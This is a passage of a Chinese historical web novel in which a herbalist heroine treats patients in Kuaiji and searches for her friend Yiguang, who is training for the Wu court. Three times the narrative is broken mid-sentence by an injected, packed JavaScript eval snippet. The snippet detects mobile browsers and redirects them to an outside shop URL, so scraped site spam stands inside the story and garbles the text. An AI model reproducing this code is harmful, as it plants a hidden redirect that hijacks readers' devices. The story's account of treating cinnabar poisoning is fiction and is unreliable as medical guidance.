街道比外城宽，比外城静。两旁的建筑不再是商铺，而是一扇扇紧闭的大门，门前蹲着石狮，墙上爬着藤蔓。偶尔有马车驶过，车轮碾过石板，发出沉闷的声响，又迅速消失在远处。 施晓青记着路，记着每一个拐角，每一处标志。她的心跳得很快，但面上不动声色。 “就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486891|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面。”男人指着一扇黑漆大门。 施晓青跟着他走进去。 院子里很安静，种着几株修竹，墙角有一口水井。几个仆从轻手轻脚地走过，见了男人，低头行礼。 “主人住在东厢。”男人带着她穿过回廊，在一间房门前停下，轻轻敲了敲，“主人，城南的施姑娘来了。” “进来。”里面传来一个沙哑的声音。 推开门，一个四十多岁的男人坐在窗边的榻上，穿着一身青灰色的袍子，面容清瘦，眼下青黑，一看就是长期睡眠不足。 施晓青行了礼，在他对面坐下。 “听说你懂调理？”那男人看着她，目光有些怀疑。 “略懂一些。”施晓青打开药箱，“主人是什么时候开始睡不好的？有什么症状？用过什么药？” 男人一一说了。施晓青听完，又问了些饮食、作息、工作上的事，心里大概有了数。 “主人这是积劳成疾。”她说，“身体的底子还在，但心神耗得太厉害。光靠安神的药不行，得从饮食、作息上一起调理。” 她从药箱里拿出一个小陶罐，打开，里面是淡黄色的膏状物，散发着淡淡的草药香。 “这是我做的安神膏，用酸枣仁、百合、茯苓熬的。每天晚上睡前，用温水化一勺喝。不能根治，但能帮您睡得好一些。” 她又从药箱里拿出一小包干花：“这是薰衣草，晒干的。放在枕头旁边，闻着能放松。” 男人接过，看了看，又闻了闻，眉头微微舒展。 “就这些？” “还有。”施晓青说，“主人以后晚饭别吃太饱，睡前别喝茶，别想那些烦心事。能做到这几点，比吃什么药都管用。” 男人愣了一下，随即笑了：“姑娘说话倒是直接。” “直接些好，不耽误您的时间。” 男人把那罐安神膏和薰衣草收下，让管家拿了一袋钱给施晓青。施晓青没有推辞，接过来，掂了掂，分量不轻。 “主人若是觉得有用，三日后我再来看看。”她站起来，“若是没用，就不用找我了，去找真正的郎中。” “姑娘谦虚了。”男人也站起来，看着她，目光里的怀疑已经消散了大半，“我姓陆，姑娘以后有事，可以让人来内城找我。” 施晓青出了陆管事的院子，跟着管家往外走。 她的脚步不快，目光却飞快地扫过四周，院落的布局，仆从的行走路线，哪扇门开着，哪扇门关着，哪里有守卫，哪里没人。 这些都是信息。 走到回廊拐角时，她忽然停下脚步。 远处，隔着一道月洞门，她看见几个年轻女子的身影，穿着统一的浅色衣裙，发髻梳得整整齐齐，正从远处的游廊下经过。 她们的步伐整齐划一，像是受过专门的训练。 其中一个走在最后面的，身形有些熟悉。 施晓青的呼吸骤然停住。 她张了张嘴，想要喊出声，却发现自己根本发不出任何声音。 那个身影很快消失在月洞门后面，像一滴水融入河流，再也找不见。 “姑娘？”管家回头看她，“怎么了？” “没……没什么。”施晓青收回目光，声音有些发颤，“走吧。” 她跟着管家出了内城。 走在回城南的路上，她的脚步越来越快，最后几乎是小跑。 不会认错的。 那个身形，那个走路的姿态，那种即使在人群中也无法被忽视的气质—— 是夷光。 她见到了夷光。 虽然只是远远的一个背影，虽然只看了短短一瞬—— 但那是夷光。 施晓青的眼眶忽然就红了。 她站在内城外的街道上，周围人来人往，没人注意到一个提着旧木箱的年轻姑娘，正站在路边，死死咬着嘴唇，不让眼泪掉下来。 夷光，我见到你了。 你真的在这里。 你瘦了，走路的样子变了，不再是苎萝村那个轻盈得像小鹿一样的少女，而是带着一种刻意的、被训练过的姿态。 可我还是一眼就认出了你。 施晓青深吸一口气，擦了擦眼角，继续往前走。 她还有很多事要做。 她要想办法再进内城。 她要想办法接近夷光。 她要想办法，把那根编了很久的麻绳带子，交到夷光手里。 17. 目光 二月底的一个傍晚，会稽城下了一场细雨，训练结束得比平时早。 郑旦趴在窗台上，看着外面湿漉漉的院子，百无聊赖地用手指在窗棂上画圈。 “夷光，你听说了吗？”郑旦头也没回。 “什么？” “外城那边，来了个会治病的姑娘。听说医术了得，给不少人看好了病，还不要钱。” 夷光正在叠衣裳的手微微一顿。 “外城？” “嗯，城南那一带。好像姓什么……施？”郑旦转过头，眼睛亮晶晶的，“你说巧不巧，跟你那个同乡一个姓。” 夷光没有说话。 她把叠好的衣裳放在床头，走到窗边，看着外面灰蒙蒙的天。 姓施。会治病。城南。 她在心里把这三个词翻来覆去地嚼了无数遍，却不敢让自己相信。 不会的。 阿青在苎萝村，在几百里之外。 她怎么会来会稽？她来会稽做什么？ 可是—— “郑旦，”她开口问，声音平静得连自己都觉得陌生，“那个姑娘，叫什么名字？” “不知道。”郑旦摇摇头，“我也是听送饭的丫鬟说的。她们闲聊时提了一嘴，没细说。” 夷光没有再问。 那天夜里，郑旦睡着了，发出均匀的呼吸声。夷光躺在黑暗中，睁着眼，看着头顶模糊的帐幔。 她的手伸到枕下，摸出那个小小的布包。薄荷叶的香气已经淡了，几乎闻不到。但她还是把那片桑树皮贴在胸口，感受着那些笔画微微凸起的触感。 阿青，是你吗？ 你真的来了吗？ 还是……只是一个同姓的陌生人？ 她闭上眼，在黑暗中，一个字一个字地念着那些密码文字。那是阿青教她的，是她们之间独有的语言，是她在孤独中唯一能抓住的东西。 如果是你，你会来找我吗？ 你会知道我在哪里吗？ 你能进得来内城吗？ 她翻来覆去地想了一整夜，直到窗外的天色从漆黑变成深蓝，再从深蓝变成灰白。 第二天，训练照常。 教她们的老妇人姓吴，大家都叫她吴嬷嬷。吴嬷嬷年轻时在吴国的王宫里待过，后来不知什么原因回了越国，被范蠡请来教导这些女子。 吴嬷嬷从不笑。她的脸上像糊了一层浆，紧绷绷的，看不到任何情绪波动。 她教的东西很杂：礼仪、言谈、歌舞、妆容，甚至如何用眼神、如何控制呼吸、如何在最短的时间内判断一个人的性情。 “你们以后要去的那个地方，”吴嬷嬷说，“不是普通的后宫。那是吴国的王宫，是天下最危险的地方之一。那里的女人，每一个都是狐狸精转世，每一个都恨不得把你们生吞活剥。你们若想在那里活下来，就必须比她们更聪明、更冷静、更会演戏。” “你们要学会看人。看一个人的眼神，看他的手指，看他走路的姿态，看他说话时嘴角的弧度。这些细节，比他说的话更重要。” “你们要学会听。听别人说了什么，更要听别人没说什么。那些藏在话缝里的东西，往往才是最值钱的。” “你们要学会忍。忍得住委屈，忍得住恐惧，忍得住想哭的冲动。在那个地方，眼泪是最不值钱的东西。” 夷光把这些话一句一句地记在心里。 阿青说过，要观察身边的每一个人。 吴嬷嬷的左手小指少了一截，走路时右腿微微拖沓，她受过伤，或许是被惩罚过。她不爱笑，但她看郑旦时，眼神会有一瞬间的柔和，她心里还有柔软的地方，只是藏得很深。 郑旦。这个从第一天就黏着她的姑娘，笑起来没心没肺，可夜里翻身时，夷光偶尔能听见她压抑的、极轻极轻的抽泣，她心里是想家的。 其他几个女子，有的傲慢，有的怯懦，有的沉默寡言，有的过于殷勤。 夷光不动声色地观察着她们，在心里给每个人画了一张像。 谁是可以接近的，谁是需要远离的，谁是可以利用的，谁是需要防备的。 三月初，吴嬷嬷开始教她们吴国的那些事。 “吴王夫差，”吴嬷嬷说，“今年不到三十，正是壮年。他好大喜功，喜欢排场，喜欢被人奉承。但他不是昏君，他的脑子很清楚，只是有时候太自信，自信到觉得自己无所不能。” “吴国的后宫，目前最得宠的是夫人——就是王后。但夫差身边不缺女人，你们去了之后，不要急着争宠，要先站稳脚跟，看清楚局势。” “吴国的大臣，有几个你们要记住。伍子胥，老臣，刚愎自用，最恨越国，你们见了他要绕着走。伯嚭，贪财好色，你们可以用钱和美貌收买他，但不能信他。还有……” 夷光默默听着。 这些，都是阿青曾经跟她提过的。 阿青说过，夫差这个人，好大喜功，容易被人牵着鼻子走；伍子胥是越国最大的敌人，但这个人太直，迟早会被夫差厌弃；伯嚭贪财，可以用钱买通。 那时候她觉得阿青懂得好多，多到不像一个村女。 现在她才明白，阿青说的那些，不是凭空猜的。 阿青知道未来。 这个念头第一次冒出来时，夷光吓了一跳。可她没有害怕，反而觉得心里暖暖的。 阿青知道未来，却还是选择了帮她。 阿青知道那条路是焚身火，却还是陪她走到了入口。 阿青现在，就在外城的某个地方，在为她织那张看不见的网。 三月初五，夷光再次见到了范蠡。 他来得突然，没有任何预兆。吴嬷嬷把他引进正堂，让她们几个依次进去“谈话”。 轮到夷光时，她走进去，看见范蠡坐在窗边，手里拿着一卷竹简，面前放着一盏茶。 “施姑娘，坐。”他放下竹简，目光平静。 夷光在他对面坐下，姿态端正，目光微垂。 “这些日子，学得如何？”范蠡问。 “吴嬷嬷教得很好，学生受益匪浅。”夷光的声音不高不低，语速不疾不徐。 范蠡看着她，沉默了片刻。 “你那个同乡，”他忽然开口，“施晓青——她还在苎萝村吗？” 夷光的眼皮一跳。 她抬起头，迎上范蠡的目光。 “范大夫问这个做什么？” 范蠡没有回答她的问题，只是笑了笑：“没什么，随便问问。” 夷光垂下眼，心里翻涌着无数念头。 范蠡为什么突然问起阿青？他知道什么？他见过阿青？还是…… “施姑娘，”范蠡的声音打断了她的思绪，“你有一个好姐妹。这份情谊，难得。” 他站起来，走到窗边，背对着她。 “我年轻时，也有过一个朋友。”他的声音很低，像是在自言自语，“后来，各为其主，各走各路。再后来……” 他没有说下去。 夷光看着他的背影，忽然觉得，这个在越国一人之下万人之上的大夫，此刻看起来，有些孤独。 “范大夫，”她轻声说，“那个朋友，现在在哪里？” 范蠡转过身，看着她，目光里有些复杂的情绪。 “在一个很远的地方。”他说，“远到，可能再也见不到了。” 他没有再多说，挥挥手让她出去了。 夷光走出正堂，站在廊下，深深地吸了一口气。 春日的阳光洒在她身上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486892|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖融融的。院子里那几株桃花开了，粉白粉白的，风一吹，花瓣簌簌地落下来。 她伸出手，接住一片花瓣。 阿青，范蠡问起你了。 他是不是见过你？ 你是不是真的来了会稽？ 如果是，你要小心。范蠡这个人，太聪明了，在他面前，藏不住什么的。 她握紧那片花瓣，转身回了屋。 三月初八，夷光在后院练舞时，听见两个送饭的丫鬟在墙角说话。 “你听说了吗？城南那个会治病的姑娘，前几天进内城了。” “进内城？她进来做什么？” “给陆管事的看病。听说医术确实好，陆管事吃了她的药，这些天睡得好多了。” “真有那么神？” “谁知道呢。不过陆管事对她挺满意的，说以后还要找她。” 两个丫鬟说着话走远了。 夷光站在原地，手里的舞扇忘了转动。 …… 她抬起头，看向内城与外城之间那道高高的宫墙。 阿青，你真的来了。 你进了内城，你离我，只有几道墙的距离。 她的心跳得很快，快到她不得不按住胸口，像以前按住心口疼那样。 可这次不是疼，是别的什么。 是一种她说不清楚的、又热又涨的、像是要把胸腔撑破的东西。 夜里，郑旦睡着了。夷光坐在窗边，借着月光，把枕下那片桑树皮拿出来，看了一遍又一遍。 那些密码文字，她已经烂熟于心。可她还是要看，要确认，要让自己相信—— 阿青来了。 她来了。 她把桑树皮贴在胸口，闭上眼。 阿青，我知道你来了。 我不知道你是怎么进来的，不知道你住在哪里，不知道你还会不会再进来。 可我知道，你不会放弃。 就像我，也不会放弃。 窗外，月亮很圆，月光很亮，照在院子里，照在那些刚刚开放的桃花上，照在一个少女紧握着桑树皮的手上。 夜风轻轻吹过，带着春天独有的、潮湿的、孕育着某种希望的气息。 很远很远的城南，另一扇窗下，施晓青正把今天在内城见到的所有细节，一笔一划地记在桑树皮上。 她画了一张简陋的地图，内城城门的位置，陆管事院子的位置，那条回廊的位置，那道月洞门的位置。 以及，那些年轻女子经过的游廊的位置。 她在游廊的位置旁边，画了一个小小的圈，写下两个字：夷光。 然后她放下炭笔，从怀里摸出那根编了很久的麻绳带子。 已经编得很长了。 她用手指量了量，从这头到那头，刚好是她双臂展开再向外延伸一掌的长度。 够了。 她把带子折好，重新收进怀里，贴着心口的位置。 夷光，我今天看见你了。 虽然只是一个背影，虽然只有一瞬—— 可我确定，那就是你。 你瘦了，走路的样子变了，可你还是你。 我离你，只有几道墙的距离。 我会想办法的…… 你等我。 她吹熄油灯，躺在黑暗中。 城南的夜比苎萝村吵，远处有更夫的梆子声，有犬吠，有晚归的行人的脚步声。可这些声音，此刻听起来都不再陌生，不再让人害怕。 因为夷光在这里。 因为她们在同一个城里，呼吸着同样的空气，看着同样的月亮，感受着同一个春天缓慢而坚定的到来。 她闭上眼，嘴角带着一丝极淡的笑，或许今晚，她会做一个安稳的梦。 18. 出诊 每日清晨，施晓青帮老李开门、摆货，然后坐在草药摊子后面，接待陆续上门的病人。 午后，她会提着药箱，去城南那些住得远、走不动的老人家里“巡诊”。说是巡诊，其实不过是陪他们坐坐，说说话，顺手调些缓解腰腿疼的药膏。 “施姑娘来了！”巷子深处，刘阿婆每次见她都笑得合不拢嘴，拉着她的手不放，“来就来，还带什么东西？” “阿婆，这不是东西，是药。” 施晓青把一小罐艾草膏放在桌上，“您上次说膝盖又疼了，我给您调了这个，每天早晚抹一次，用手心搓热了再揉。” “哎，哎。”刘阿婆接过，浑浊的眼睛里泛着光，“姑娘，你说你年纪轻轻的，怎么就这么懂事呢？我家那几个孙子孙女，没一个比得上你。” 施晓青笑笑，没有接话。 刘阿婆拉着她说了半日的话。 巷口王家的媳妇又怀了第三胎，隔壁赵屠户家的狗生了一窝崽，她年轻时去过的地方、见过的人。 施晓青听着，时不时应一声，脑子里却在转别的。 “阿婆，您年轻时候，进过内城吗？” “内城？”刘阿婆愣了一下，“进过。那会儿我还没嫁人，在城里一个大户人家帮佣。那户人家的老爷，在内城有差事，我跟着进去送过几次东西。” “那您知道，内城那些……那些女子住的地方，在哪个方向吗？” “女子？”刘阿婆想了想，“你是说那些……被选进去的？” 施晓青的心跳快了一拍，面上却不动声色：“嗯，听说内城养着一些女子，专门学歌舞礼仪什么的。” “知道，知道。”刘阿婆压低声音，“在城东那一带，靠着王宫的后墙。我那会儿进去送东西，远远见过一次，院子外头有兵士把守，进不去的。” 施晓青在心里默默记下。 “阿婆，那您知道，有没有人能进得去那个院子？比如送菜的、送水的、洗衣裳的？” “这我哪儿知道。”刘阿婆摇摇头，“都过去多少年了。不过那种地方，管得严，能进去的肯定都是信得过的人。姑娘，你打听这个做什么？” “没什么。”施晓青笑了笑，“就是好奇。” 从刘阿婆家出来，施晓青又在巷子里转了一圈。 她跟卖菜的陈大嫂聊了几句，又跟赶车的赵叔打了个招呼，帮跑腿的小六子看了看手上的冻疮。 这些人，是她用自己的耐心、善意和那点微不足道的医术，换来的、愿意跟她多说几句的人。 “施姑娘，我昨天给城东一个府上送货，看见好多兵士在那边巡逻，比平时多了一倍。”赶车的赵叔一边啃着饼子一边说，“也不知道出了什么事。” “城东？”施晓青心里一动，“哪个府上？” “不知道，没挂牌子，门口就两个石狮子。反正看着挺气派的。” “赵叔，您下次再路过那边，帮我留意一下，那个府上每天什么时候送菜、送水，什么人送。” 赵叔啃饼子的动作停了，看着她，目光里有些疑惑：“姑娘，你打听这个做什么？” “我想找个活干。”施晓青说，“听说那边的人出手阔绰，我想看看能不能揽点浆洗缝补的活。” 赵叔“哦”了一声，没再追问。 晚上，施晓青回到小厢房，点上油灯，把今天的收获记在桑树皮上。 她放下炭笔，看着窗外漆黑的夜。 城东。 她在地图上画的那个圈，陆管事住的地方在城西，那夷光可能在城东。 内城比她想象的大。她进得去城西，不一定进得去城东。她需要一个新的突破口。 三月中旬，这天下午，施晓青正在铺子里给人看诊，门外进来一个穿着靛蓝短褐的年轻男子，黝黑壮实，满头大汗。 “请问……施姑娘在吗？” 施晓青抬起头，一眼就认出了他。 李叔的儿子。那个从苎萝村来的、在陶朱记布庄当学徒的年轻人。 “我就是。”施晓青说，“你是？” “我姓李，叫李大牛。”年轻人憨厚地笑了笑，“我爹是李老根，跟您一个村的。我听说您来了会稽，住在李叔这儿，就想着来看看。” “哦，是大牛哥。”施晓青站起来，搬了把椅子给他，“坐。在陶朱记干得怎么样？” “还行。”李大牛挠挠头，“掌柜的待我不错，就是活儿多，累。不过累点好，累点能学到东西。” 施晓青给他倒了碗水，递过去。 “大牛哥，你在陶朱记，接触的人多吗？” “多啊。”李大牛接过碗，咕咚咕咚喝了几大口，“来买布的有钱人多，掌柜的应酬多，我有时候跟着跑腿，能见到不少人。” “那你见过……范蠡范大夫吗？” 李大牛差点被水呛着，瞪大眼睛看着她：“范大夫？那可是大人物！我一个小小学徒，哪能见得着？不过——”他压低声音，“我听掌柜的说，范大夫偶尔会来布庄，但都是走后门，不让外人知道。” 施晓青点了点头。 “大牛哥，你以后要是再听到什么消息，能不能来告诉我一声？我对城里的事好奇得很。” “行啊！”李大牛爽快地答应了，“施姑娘，你救过我爹的命，这点小事算什么。你放心，我听到什么，都来告诉你。” 施晓青笑了：“那就多谢大牛哥了。” 李大牛走后，施晓青坐在铺子里，看着门外来来往往的行人，脑子里在飞快地转。 她一直在犹豫，要不要主动去找范蠡。 范蠡知道她。 范蠡说过，若遇难处，可去陶朱记寻个方便。 可她拿什么去找他？她只是一个会些草药的村女，凭什么让范蠡花时间见她？ * 这天一大早，施晓青刚开门，就看见陆管事的贴身小厮小福子站在门口，气喘吁吁的。 “施姑娘！可算找着您了！”小福子一把抓住她的袖子，“我家主人请您快去看看，出大事了！” “怎么了？” “我家主人……我家主人的一位贵客，突然晕倒了！请了好几个郎中都看不好，主人想起您，让我赶紧来找您！” “贵客？”施晓青心里一跳，“什么贵客？” “这……我不能说。”小福子急得直跺脚，“姑娘您快跟我走吧！再晚就来不及了！” 施晓青来不及多想，提起药箱就跟着小福子往外走。 马车在内城门口被拦下了。 守卫掀开车帘，看见施晓青，皱了皱眉：“又是你？” “是我。”施晓青从怀里掏出陆管事给她的那块临时腰牌，“陆管事请我来看病的。” 守卫看了看腰牌，又看了看她，挥挥手放行了。 马车在内城的街道上疾驰，穿过城西，穿过城中心，最后在城东的一扇朱红大门前停下。 施晓青下了车，看着那扇门，心跳骤然加速。 门前没有挂牌子，但门口站着两个腰佩长刀的兵士，目光冷峻，一动不动。 “这是……”施晓青看向小福子。 “姑娘别问了，快进去吧。”小福子拉着她就往里走。 穿过几进院落，绕过几道回廊，施晓青被带进一间宽敞的厢房。 屋里站满了人。有郎中模样的人，有仆从，有丫鬟，还有几个穿着官袍的陌生面孔。 陆管事站在床边，脸色发白，见她进来，快步迎上来：“施姑娘，你可来了！” “病人在哪里？”施晓青顾不上寒暄。 陆管事侧开身，让她看见床上躺着的人。 那是一个三十多岁的女子，面容姣好，此刻却脸色灰白，嘴唇发紫，呼吸急促而微弱。她的手腕上、脖子上，布满了密密麻麻的红疹，有些已经溃烂，渗出淡黄色的液体。 施晓青只看了一眼，心里就“咯噔”了一下。 这不是普通的病，这是……中毒了。 她蹲下身，仔细查看那女子的症状。呼吸急促，皮肤溃烂，瞳孔微微散大…… 她记得在现代看过的一个病例。 某种食物或者药物中毒。 “她吃了什么？喝了什么？用过什么药？”施晓青头也不抬地问。 周围的丫鬟仆从七嘴八舌地说起来。施晓青一边听，一边在脑子里飞快地排除、筛选。 “她最近是不是在吃什么补药？”她忽然问。 屋里安静了一瞬。 一个丫鬟怯怯地说：“夫人……夫人最近在吃一种美容的丸子，说是能让人皮肤白皙、容颜不老。” “丸子呢？拿来我看看。” 丫鬟从梳妆台的抽屉里拿出一个小瓷瓶，递给施晓青。施晓青倒出一粒，凑近闻了闻，又掰开看了看。 丸子的颜色有些不正常，不是普通药材的灰褐色，这丸子带着一种不自然的、微微发红的色泽。 她的心猛地一沉。 朱砂……过量使用，会中毒。 “这个丸子，不能再吃了。”施晓青把瓷瓶收起来，“夫人这是中毒。朱砂中毒。” “朱砂？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486893|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陆管事脸色大变，“那……那怎么办？” 施晓青打开药箱，从里面拿出几样东西。绿豆粉、甘草、金银花，还有一小包活性炭，那是她进会稽城后，自己用木炭烧制、研磨的，用来处理一些急性中毒的案例。 “先催吐。” 她让丫鬟帮忙，把绿豆粉和甘草煮水，给那女子灌下去。然后又用活性炭调成糊状，敷在溃烂的皮肤上。 “这个药，不能再吃了。”她指着那个瓷瓶，“夫人用的其他东西——胭脂、水粉、头油，都要检查一遍。还有，这段时间饮食要清淡，多吃绿豆汤、冬瓜汤这些清热的。” 陆管事连连点头，让人去办。 施晓青忙了一个多时辰，那女子的呼吸才渐渐平稳下来，脸色也不再那么灰白。她松了口气，擦了擦额头的汗。 “施姑娘，”陆管事把她请到外间，亲自倒了杯茶递过去，“这次多亏了你。这位夫人身份贵重，若是出了事，我……” “陆管事，我冒昧一问，这位夫人到底是谁？”施晓青接过茶。 陆管事犹豫了一下，压低声音：“是……王宫里的人。具体是谁，我不能说。但姑娘今天救了她一命，这个恩情，不会忘的。” 王宫里的人。 施晓青端着茶杯的手微微一顿。 她救了一个王宫里的女人。 这个“恩情”，或许有一天，能派上大用场。 她没有再问，喝完茶，收拾好药箱，准备离开。 走到院门口时，她忽然停下脚步。 院门对面，隔着一条窄巷，是一道高高的粉墙。墙的那边，隐约可见几座楼阁的飞檐，和一片郁郁葱葱的竹林。 “那边是什么地方？”她问小福子。 小福子看了一眼，随口说：“那边啊，是教习坊。专门教那些选进来的女子歌舞礼仪的地方。” 施晓青的心跳漏了一拍。 教习坊，夷光应该就在那道墙的后面。 她站在那里，看着那道粉墙，看了很久。 墙不算高。可她翻不过去。 即使翻过去了，也进不去，那边都有兵士把守。 她需要一个名正言顺的理由，走进那道墙。 她深吸一口气，收回目光，跟着小福子走出了那扇朱红大门。 马车驶过内城的街道，穿过城门，回到城南。 施晓青靠在车壁上，闭着眼，脑子里一遍一遍地过着今天的每一个细节。 …… …… 夷光，我离你，只有一道墙的距离了。 可那道墙，比几百里路还难跨越。 她睁开眼，看着车窗外掠过的街景，目光渐渐变得沉静而坚定。 没关系，她有耐心。 她有的是时间，她会找到办法的。 马车在城南停下，施晓青提着药箱下了车。 老李正站在铺子门口张望，见她回来，松了口气：“可算回来了！没事吧？” “没事。”施晓青笑了笑，“李叔，今天生意怎么样？” “还行。”老李看了她一眼，欲言又止，最终还是没忍住，“施姑娘，你……你这些天总往内城跑，到底在做什么？” 施晓青走进铺子，把药箱放下，转过身看着老李。 “李叔，”她说，“我在找一个朋友。” “朋友？” “嗯。一个很重要的朋友。” 老李看着她，目光里有些担忧，有些不解，但最终只是叹了口气。 “那你小心些。内城那种地方，不是咱们这些人能随便进的。” “多谢李叔提醒，”施晓青说，“我会小心的。” 她走进后院，回到那间小厢房，关上门。 然后她从怀里摸出那根麻绳带子，放在桌上。 总有一天，她会把这根带子，亲手交到夷光手里。 她拿起炭笔，在桑树皮上写下今天的收获： …… …… …… 她放下炭笔，看着窗外渐渐暗下来的天。 会稽城的春天，夜晚还是有些凉。 风吹过院子，带着不知名的花香，和远处隐隐约约的、不知从哪个方向传来的丝竹声。 那是教习坊的方向吗？ 夷光，你在听吗？ 你听到这些音乐了吗？ 你在练舞，还是在休息？你在想家，还是在想我？ 她闭上眼，在黑暗中，轻轻地、无声地，念着那个名字。 …… …… 19. 晓青终于有自己的铺子了 那日去看过的女子，现今已经大好。 那女子醒来后的第三日，施晓青接到了陆管事派人送来的帖子。 帖子是写在绢帛上的，字迹工整，措辞客气，大意是“夫人身体已大安，欲当面致谢，请施姑娘择日过府一叙”。落款处没有写名字，只画了一朵小小的兰花。 施晓青把帖子看了两遍，收进怀里。 那天在厢房里，那个女子脸色灰白、呼吸急促、皮肤溃烂。那样的症状，在现代急诊室里也是要抢救的。 她凭着一点模糊的记忆和几分运气，把人从鬼门关拉了回来。 她知道那是运气。 可别人不知道。 在别人眼里，她就是“会治病”的施姑娘。 这是一个机会。 她没有拒绝。 第二日一早，施晓青换了身干净的衣裳，把头发重新梳过，提着药箱，跟着陆管事派来的马车进了内城。 马车没有停在城西的陆府，而是直接驶向了城东。 穿过那道朱红大门，绕过上回来过的厢房，马车在一处更幽静的院落前停下。 院子不大，但布置精致，角落里种着几株兰花，花圃边立着一块玲珑的太湖石。院中有一个小小的池塘，池水清澈，几尾锦鲤悠闲地游动。 那女子已经能起身了。 她坐在廊下的美人靠上，披着一件月白色的披风，脸上还带着几分病后的苍白，但气色比三日前好了许多。 她的眉眼生得端庄温婉，笑起来嘴角微微上扬，有一种让人不自觉想要亲近的和善。 “施姑娘，来了。”她站起来，微微欠身。 “夫人客气了。”施晓青还礼，目光飞快地扫过周围。 两个丫鬟站在不远处，一个嬷嬷守在廊下，院门外隐约可见佩刀的侍卫。 身份不低。 那女子似乎看出了她的打量，笑了笑，拉着她的手让她在身边坐下：“别怕，那些人都是伺候我的。施姑娘救了我的命，我还没好好谢你呢。” “夫人言重了，民女只是略尽绵力。” “略尽绵力？”那女子看着她，目光里带着几分审视，更多的却是好奇，“施姑娘，你这医术，可是让好几个郎中都束手无策。你那日说我是‘朱砂中毒’，我让人查了那些美容丸子，果然掺了不少朱砂。大夫们都说，若不是你及时催吐解毒，再过半日，怕是神仙也救不回来了。” 施晓青垂下眼，没有接话。 “所以，”那女子握住她的手，“这个恩，我一定要还。施姑娘，你想要什么？银子？绢帛？还是……别的东西？” 施晓青抬起头，迎上那女子的目光。 她在来的路上就想好了。 “夫人，”她开口，声音平稳，“民女确实有一个不情之请。” “说。” “民女在城南，帮一位长辈看杂货铺，顺带给人看病。但铺子是别人的，地方太小，草药也没处放。民女想……自己开一间小小的药铺，专门给城南那些看不起病的穷苦人看诊。不需要多大，也不需要多气派，只要能遮风挡雨、放得下药柜就行。” 那女子听完，微微一愣。 “就这个？” “就这个。” 那女子看着她，目光里的审视渐渐化开，变成一种复杂的、带着几分怜惜的神情。 “你呀，”她叹了口气，“别人若是救了我的命，怕是恨不得搬一座金山回去。你倒好，只要一间小药铺。” 施晓青笑了笑：“民女不需要金山。金山太重，搬不动。” 那女子被她逗笑了，笑完之后，认真地点了点头：“好，我答应你。城南那边，我记得有一间空着的铺面，临街的，位置不算偏。我让人收拾出来，给你做药铺。” “多谢夫人。”施晓青站起来，郑重地行了一礼。 “别急着谢。”那女子拉住她，从手腕上褪下一只玉镯，塞到她手里，“这个你先收着。不算赏赐，是……谢礼。你若是不收，我心里过意不去。” 玉镯温润，雕工精细，一看就不是凡物。施晓青犹豫了一下，收下了。 “夫人，民女还有一件事想问。” “问。” “夫人所说的那间铺面……是需要民女自己去办地契文书，还是……” 那女子愣了一下，随即笑了：“你这孩子，倒是仔细。放心，铺子是我私人的产业，我让人把房契转给你就是了。地契文书的事，你不用担心，会有人替你办妥。” 施晓青心里松了一口气。 她原本还担心，春秋时期没有完善的地契制度，送铺子这种事只是口头应允，没有法律效力。 这位夫人既然能直接说“把房契转给你”，说明她名下有合法的产业，也有能力办理过户手续。 这就够了。 施晓青从内城出来时，日头已经偏西。 马车驶过内城的街道，穿过城门，回到城南。她掀开车帘，看着车窗外熙熙攘攘的人群，嘴角不自觉地弯了起来。 一间药铺。 她要有自己的药铺了。 和刚来的时候有一个小角落不一样，这是真正属于自己的、可以光明正大地挂招牌的地方。 更重要的是—— 有了自己的铺子，就有了固定的场所，有了稳定的客源，有了更多的信息来源。她可以名正言顺地接触城南的三教九流，可以更自然地打听内城的情况，可以为夷光编织一张更密、更牢的网。 马车在城南停下，施晓青跳下车，快步走进李记杂货铺。 “李叔！”她的声音里带着少见的雀跃，“我有个好消息要告诉你！” 老李正在打算盘，闻言抬起头，看见她脸上的笑容，自己也笑了：“什么好消息，把你高兴成这样？” “我要开药铺了！”施晓青把药箱放在柜台上，“有贵人送了我一间铺面，就在城南，临街的。以后我就可以专门给人看病了，不用挤在您这儿了。” 老李愣了一下，随即放下算盘，站起来，脸上的笑容更深了：“真的？那敢情好！我就说嘛，你这姑娘，不该窝在我这小铺子里。” “李叔，我走了之后，您这儿要是有人来找我看病，您帮我指个路就行。” “那还用说！”老李拍拍胸脯，“你放心，你这药铺开起来，我第一个去捧场！” 施晓青笑着谢过老李，转身进了后院。 关上厢房的门，她从怀里摸出那只玉镯，对着窗口的光看了看。玉质通透，内部几乎没有杂质，在光线下泛着柔和的光泽。 这不是普通的玉。 也是某种身份的象征。 